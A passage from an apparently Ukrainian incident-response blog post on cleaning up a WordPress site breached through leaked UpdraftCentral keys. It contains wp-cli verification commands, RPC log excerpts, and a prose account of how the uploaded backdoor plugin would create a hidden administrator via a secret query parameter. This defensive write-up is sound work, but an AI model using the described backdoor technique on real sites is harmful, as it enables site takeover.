    OR option_name REGEXP '^_transient(_timeout)?_udrpch_[A-Za-z0-9]+$';

 SELECT ROW_COUNT() AS deleted_rows;

 SELECT COUNT(*) AS remaining_rows
 FROM ${prefix}options
 WHERE option_name LIKE 'updraft%'
    OR option_name REGEXP '^_transient(_timeout)?_udrpch_[A-Za-z0-9]+$';

 COMMIT;"
Success: Query succeeded. Rows affected: 0

Ще раз перевіряємо, що нічого не залишилось:

[root@ip-10-0-3-146 ~]# root=/var/www/rtfm/rtfm.co.ua; \
prefix=$(wp db prefix --path="$root" --allow-root) && \
wp db query --path="$root" --allow-root \
"SELECT COUNT(*) AS remaining_rows
 FROM ${prefix}options
 WHERE option_name LIKE 'updraft%'
    OR option_name REGEXP '^_transient(_timeout)?_udrpch_[A-Za-z0-9]+$';

 SELECT option_name
 FROM ${prefix}options
 WHERE option_name LIKE 'updraft%'
    OR option_name REGEXP '^_transient(_timeout)?_udrpch_[A-Za-z0-9]+$'
 ORDER BY option_name;"
remaining_rows
0

Остання перевірка

І робимо останню перевірку WordPress.

Перевіряємо, що плагіни UpdraftPlus і site-desk-ec2 більше не зареєстровані в WordPress і не активні, що нема залишку записів в базі даних, нема юзера page-build71 (якого мав створити бекдор), нема зайвих cron jobs і карантин доступний тільки root:

[root@ip-10-0-3-146 ~]# root=/var/www/rtfm/rtfm.co.ua; \
prefix=$(wp db prefix --path="$root" --allow-root) && \
echo '=== Plugin registry ===' && \
wp plugin list --path="$root" --allow-root --fields=name,status,version --format=csv \
  | grep -Ei 'updraft|site-desk' || echo 'OK: neither plugin is registered' && \
echo '=== Active plugin option ===' && \
wp eval '$a=get_option("active_plugins",array()); $m=preg_grep("/updraft|site-desk/i",$a); echo $m ? implode(PHP_EOL,$m).PHP_EOL : "OK: no active-plugin references".PHP_EOL;' \
  --path="$root" --allow-root && \
echo '=== Database residue ===' && \
wp db query --path="$root" --allow-root --skip-column-names \
"SELECT COUNT(*) FROM ${prefix}options
 WHERE option_name LIKE 'updraft%'
    OR option_name LIKE '%site_desk_ec2%'
    OR option_name REGEXP '^_transient(_timeout)?_udrpch_[A-Za-z0-9]+$';" && \
echo '=== Users ===' && \
wp db query --path="$root" --allow-root --skip-column-names \
"SELECT COUNT(*) FROM ${prefix}users
 WHERE user_login='page-build71'
    OR user_email LIKE '%page-build71%'
    OR display_name='Site Tools';" && \
echo '=== Cron ===' && \
wp cron event list --path="$root" --allow-root --fields=hook --format=csv \
  | grep -Ei 'updraft|site.desk|page.build' || echo 'OK: no related cron hooks' && \
echo '=== Filesystem ===' && \
for p in "$root/wp-content/plugins/updraftplus" "$root/wp-content/plugins/site-desk-ec2" "$root/wp-content/updraft"; do \
  test -e "$p" && echo "ERROR: still exists: $p" || echo "OK: absent: $p"; \
done && \
echo '=== Quarantine boundary ===' && \
stat -c '%A %U:%G %n' /root/rtfm-incident-2026-10-19
=== Plugin registry ===
OK: neither plugin is registered
=== Active plugin option ===
OK: no active-plugin references
=== Database residue ===
0

=== Users ===
0

=== Cron ===
OK: no related cron hooks
=== Filesystem ===
OK: absent: /var/www/rtfm/rtfm.co.ua/wp-content/plugins/updraftplus
OK: absent: /var/www/rtfm/rtfm.co.ua/wp-content/plugins/site-desk-ec2
OK: absent: /var/www/rtfm/rtfm.co.ua/wp-content/updraft
=== Quarantine boundary ===
drwx------ root:root /root/rtfm-incident-2026-10-19

WordPress юзери та сесії

Корисно буде перегенерити salt паролів:

[root@ip-10-0-3-146 ~]# wp config shuffle-salts --path=/var/www/rtfm/rtfm.co.ua --allow-root

При цьому:

  • зміняться лише WordPress authentication salts у файлі wp-config.php
  • усі поточні cookies стануть недійсними
  • розлогінить з адмінки, після чого потрібно буде увійти знову
  • паролі юзерів, зміст постів і налаштування не зміняться

І корисно глянути активні сесії – нічого зайвого:

[root@ip-10-0-3-146 ~]# wp eval '              
$now=time();
foreach (get_users(array("fields"=>array("ID","user_login"))) as $u) {
    $sessions=get_user_meta($u->ID,"session_tokens",true);
    if (!is_array($sessions) || !$sessions) continue;

    foreach ($sessions as $s) {
        $exp=(int)($s["expiration"] ?? 0);
        printf(
            "user=%s id=%d status=%s login=%s expires=%s ip=%s ua=%s\n",
            $u->user_login,
            $u->ID,
            $exp > $now ? "ACTIVE" : "EXPIRED",
            !empty($s["login"]) ? gmdate("Y-m-d H:i:s",intval($s["login"]))." UTC" : "-",
            $exp ? gmdate("Y-m-d H:i:s",$exp)." UTC" : "-",
            $s["ip"] ?? "-",
            substr(str_replace(array("\r","\n")," ",(string)($s["ua"] ?? "-")),0,180)
        );
    }
}' --path=/var/www/rtfm/rtfm.co.ua --allow-root
user=setevoy id=1 status=ACTIVE login=2026-10-07 08:31:46 UTC expires=2026-10-21 08:31:46 UTC ip=178.***.***.184 ua=Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36
user=setevoy id=1 status=ACTIVE login=2026-10-16 02:55:50 UTC expires=2026-10-30 02:55:50 UTC ip=178.***.***.236 ua=Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36
user=setevoy id=1 status=ACTIVE login=2026-10-17 08:07:19 UTC expires=2026-10-19 08:07:19 UTC ip=178.***.***.184 ua=Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/155.0.0.0 Safari/537.36

NGINX – Basic Auth та IP allowlist

Крім того, в мене доступ до /wp-admin/ та /wp-login.php закриті Basic Auth та IP allowlist.

Від конкретно цього криво написаного бекдора це найімовірніше, допомогло б, але від компрометації загалом – ні.

Якби помилки з self::FIELD не було, плагін зробив би таке (тут знов-таки текст від мого агента):

  • за публічним URL із секретним query-параметром створив би користувача page-build71
  • надав би йому права manage_options та install_plugins
  • самостійно встановив би WordPress auth cookie — /wp-login.php йому взагалі не потрібен.
  • перенаправив би атакувальника на /wp-admin/index.php

І вже тут nginx одночасно вимагав би:

  • дозволену IP-адресу
  • правильні дані Basic Auth

Зі сторонньої IP-адреси доступ до /wp-admin/ був би заборонений, і нова створена або викрадена WordPress-сесія не скасовує захист на рівні NGINX.

Але тут є два серйозні “але”:

  • через UpdraftCentral уже можна було завантажувати плагіни публічним POST /, оминаючи /wp-admin/ – саме так site-desk-ec2 і потрапив на сервер
  • атакувальник міг завантажити не цей login-helper, а повноцінний webshell або плагін, який виконує команди через публічний URL – і тоді доступ до адмінки йому взагалі не був би потрібен

Тобто захист NGINX створив би хороший додатковий бар’єр – бекдор створив адміністратора та auth cookie, але зловмисник не зміг би відкрити звичайну адмінку.

В моєму конкретному випадку врятувала комбінація кількох чинників:

  • шкідливий плагін був написаний із фатальною помилкою
  • NGINX заблокував би передбачений бекдором шлях до адмінки
  • помилка швидко й “гучно” поклала сайт, тому “закладка” не залишилася непоміченою
  • payload виявився невеликим і не містив webshell, запису додаткових файлів або інших механізмів закріплення в системі

То це TeamUpdraft і CVE-2026-10795 – чи щось нове?

Вже після всього цього я задався питанням – а як так?

  • вразлива версія – до 2.26.5
  • в мене була встановлена 2.26.11.0, де вже була перевірка ключів

Крім того – чому Wordfence пропустив атаку, якщо він вже знав про неї – Critical Unauthenticated Authentication Bypass Vulnerability Patched in UpdraftPlus WordPress Plugin, ба більше, знав давно – бо цей матеріал був написаний ще June 10, 2026.

А міг Wordfence пропустити тому, бо вважав запит валідним від UpdraftCentral RPC – і це ми далі і побачимо.

Перевіряємо код UpdraftPlus – патч дійсно є:

[root@ip-10-0-3-146 ~]# grep -nA8 -B5 '\$rsa->decrypt(\$sym_key)' /root/rtfm-incident-2026-10-19/updraftplus/vendor/team-updraft/common-libs/src/updraft-rpc/class-udrpc2.php
494-            $ciphertext = base64_decode($ciphertext);
495-
496-            // Decrypt the encrypted symmetric key
497-            $rsa->loadKey($this->key_local);
498-            $sym_key = base64_decode($sym_key);
499:            $sym_key = $rsa->decrypt($sym_key);
500-
501-            if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
502-                    return false;
503-            }
504-
505-            // Decrypt the message
506-            $rij->setKey($sym_key);
507-

А значить – це не CVE-2026-10795!

Отже, це могло бути щось з наступного:

  • команду підписали дійсним ключем UpdraftCentral (this?)
  • у Premium-коді існував інший RPC-шлях або дублікат старої бібліотеки
  • PHP-FPM через OPcache виконував стару закешовану версію файлу
  • патч був неповним і допускав обхід
  • було скомпрометовано керуючу сторону UpdraftCentral або ключ конкретного підключення  (this?)

Шукаємо звідки йшов запит:

[root@ip-10-0-3-146 ~]# grep -oE '.{0,100}key_name_indicator.{0,200}' /root/rtfm-before-updraft-cleanup-2026-10-19.sql | tail -5
s:7:\"message\";s:42:\"Command received: updraftplus.get_fragment\";s:18:\"key_name_indicator\";s:25:\"0.central.updraftplus.com\";s:9:\"remote_ip\";s:15:\"178.158.240.236\";s:15:\"http_user_agent\";s:101:\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.
;s:5:\"level\";s:4:\"info\";s:7:\"message\";s:39:\"Command received: core.execute_commands\";s:18:\"key_name_indicator\";s:25:\"0.central.updraftplus.com\";s:9:\"remote_ip\";s:30:\"2600:3c03::f03c:91ff:fe2c:7f44\";s:15:\"http_user_agent\";s:62:\"WordPress/6.8.11; class-udrpc.php/2.1; https://teamupdraft.com\";}i:47;a
;s:5:\"level\";s:4:\"info\";s:7:\"message\";s:39:\"Command received: core.execute_commands\";s:18:\"key_name_indicator\";s:25:\"0.central.updraftplus.com\";s:9:\"remote_ip\";s:30:\"2600:3c03::f03c:91ff:fe2c:7f44\";s:15:\"http_user_agent\";s:62:\"WordPress/6.8.11; class-udrpc.php/2.1; https://teamupdraft.com\";}i:48;a
essage was received, but not understood by local site (for: probe.central.updraftplus.com)\";s:18:\"key_name_indicator\";s:25:\"0.central.updraftplus.com\";s:9:\"remote_ip\";s:26:\"2a09:bac5:4e21:2e3c::49b:9\";s:15:\"http_user_agent\";s:30:\"WordPress/6.4; class-udrpc.php\";}i:49;a:6:{s:4:\"time\";i:1792376607;s:5:\"
level\";s:4:\"info\";s:7:\"message\";s:38:\"Command received: plugin.upload_plugin\";s:18:\"key_name_indicator\";s:25:\"0.central.updraftplus.com\";s:9:\"remote_ip\";s:26:\"2a09:bac5:4e21:2e3c::49b:9\";s:15:\"http_user_agent\";s:30:\"WordPress/6.4; class-udrpc.php\";}}','off'),

І отут вже бачимо :

plugin.upload_plugin
key_name_indicator = 0.central.updraftplus.com

Тобто для підключення окремий тестовий ключ не використовувався – команда на завантаження site-desk-ec2 була прийнята в контексті реального підключення самого RTFM до сервісу UpdraftCentral.

На цьому етапі залишалося кілька реалістичних версій:

  • ключ підключення UpdraftCentral витік або був скомпрометований
  • було скомпрометовано мій акаунт або інфраструктуру TeamUpdraft
  • червневе виправлення виявилося неповним і його можна було обійти

Лист “TeamUpdraft security incident: What customers need to know.”

Після завершення перевірок – звісно, написав до TeamUpdraft, бо проблема дійсно виглядала як нова.

Сапорт відповів відносно швидко, через пару годин, правда в першому листі обійшовся стандартними “видалити ключі, блаблабла”.

Але в кінці додав, що “Joe Whittaker, our Head of Marketing and Customer Support, has also sent an email explaining the incident and recommended precautions. Please review it for additional information“.

Лист від Joe прийшов тільки ввечері 19-го числа, де було посилання на TeamUpdraft security incident: What customers need to know.

Там, знов-таки, доволі загальна інформація без якихось деталей окрім того, що вони таки визнають витік “UpdraftCentral connection keys”.

Відповів на лист тех. підтримки, попросив більше інформації і взагалі нормальний post-mortem – але досі (зараз 16:00 вже 20-го числа) чекаю відповіді.

Втім – розумію, який у них зараз пі*дєц, тому ок.

Питання до TeamUpdraft

Окреме питання в цій історії – чому TeamUpdraft не повідомив користувачів електронною поштою відразу після виявлення компрометації?

Сама компанія пише, що несанкціонований доступ до teamupdraft.com був виявлений 18 жовтня. При цьому викрадений ключ мого підключення UpdraftCentral залишався працездатним щонайменше до 19 жовтня 02:23:27 UTC, коли сайт прийняв RPC і виклик plugin.upload_plugin.

19 жовтня о 12:10 UTC представник TeamUpdraft уже опублікував у Reddit інструкцію з видалення старих ключів, перевірки користувачів і плагінів та зміни паролів. Тобто на той момент компанія вже знала не лише про інцидент, а і про ризики для клієнтів.

Через сім годин один із користувачів цілком резонно відповів:

Okay thank you for the Reddit post but you should EMAIL all users immediately to check their websites before you have a major problem, if you don’t already, this could cost users a lot of time and money to fix the problem.

І це справді важливе питання, бо пост в блозі або коментар у Reddit побачить лише незначна частина клієнтів.

В той жеж час викрадений ключ UpdraftCentral дозволяє надсилати команди, встановлювати плагіни та виконувати PHP-код – і за таких обставин кожна година затримки зі повідомленням клієнтам може означати нові скомпрометовані сайти.

Да – потім TeamUpdraft таки надіслав зареєстрованим користувачам лист від Joe Whittaker, про який йшла мова вище із підтвердженням доступу до бази даних та можливого витоку connection keys. Однак цей лист я отримав аж ввечері 19-го числа – після того, як мій сайт було зламано, інцидент самостійно виявлено, а служба підтримки вже відповіла на мій запит.

Компанія поки не опублікувала докладного timeline, який пояснив би послідовність між виявленням атаки, підтвердженням витоку ключів, публікацією рекомендацій і масовою email-розсилкою.

Тому до TeamUpdraft залишається багато питань, які я їм в тому числі відправляв на пошту – але досі чекаю відповіді:

  • Коли саме було виявлено несанкціонований доступ до teamupdraft.com?
  • Коли команда підтвердила або вперше запідозрила доступ до бази даних із ключами UpdraftCentral?
  • Коли TeamUpdraft дізнався, що викрадені ключі могли використовуватися для надсилання команд на сайти клієнтів?
  • Чому власників потенційно скомпрометованих сайтів не повідомили електронною поштою відразу після встановлення цього ризику?
  • Чому рекомендації спочатку з’явилися на сайті та в Reddit, а не одночасно з прямим сповіщенням усіх користувачів?
  • Коли саме почалася і завершилася масова email-розсилка?
  • Чи були користувачі з активними підключеннями UpdraftCentral ідентифіковані та сповіщені в пріоритетному порядку?
  • Чому потенційно викрадені ключі не можна було негайно відкликати централізовано і для їхнього відключення знадобилося екстрене оновлення клієнтського плагіна?
  • Скільки сайтів отримали команди, підписані скомпрометованими ключами, між початком інциденту та їхнім остаточним відкликанням?

Стан на 20-те жовтня

Коли сьогодні писав цей матеріал і гуглив файл “class-udrpc.php” – то вже весь інтернет гудить цією новиною:

Якщо з’являться цікаві новини – буду додавати сюди.

А що далі? Goodbye, WordPress – say Hello to Hugo!

А далі – я їб*в ці карі очі.

Вже давно дивився в сторону static websites і багато чув про Hugo.

Раніше мене зупиняло те, що на RTFM 2,300 опублікованих постів і ще пачка в drafts:

Але зараз, маючи LLM і агентів, таку міграцію виконати буде набагато простіше.

А тоді буде і простіша інфраструктура – бо не треба EC2 та RDS і все можна хостити взагалі в якомусь AWS S3, будуть простіше бекапи – бо все можна буде зберігати просто на NAS в Git у вигляді файлів.

Так що скоро (сподіваюсь) RTFM чекає велике оновлення.

RTFM: злам TeamUpdraft UpdraftPlus та RTFM

Loading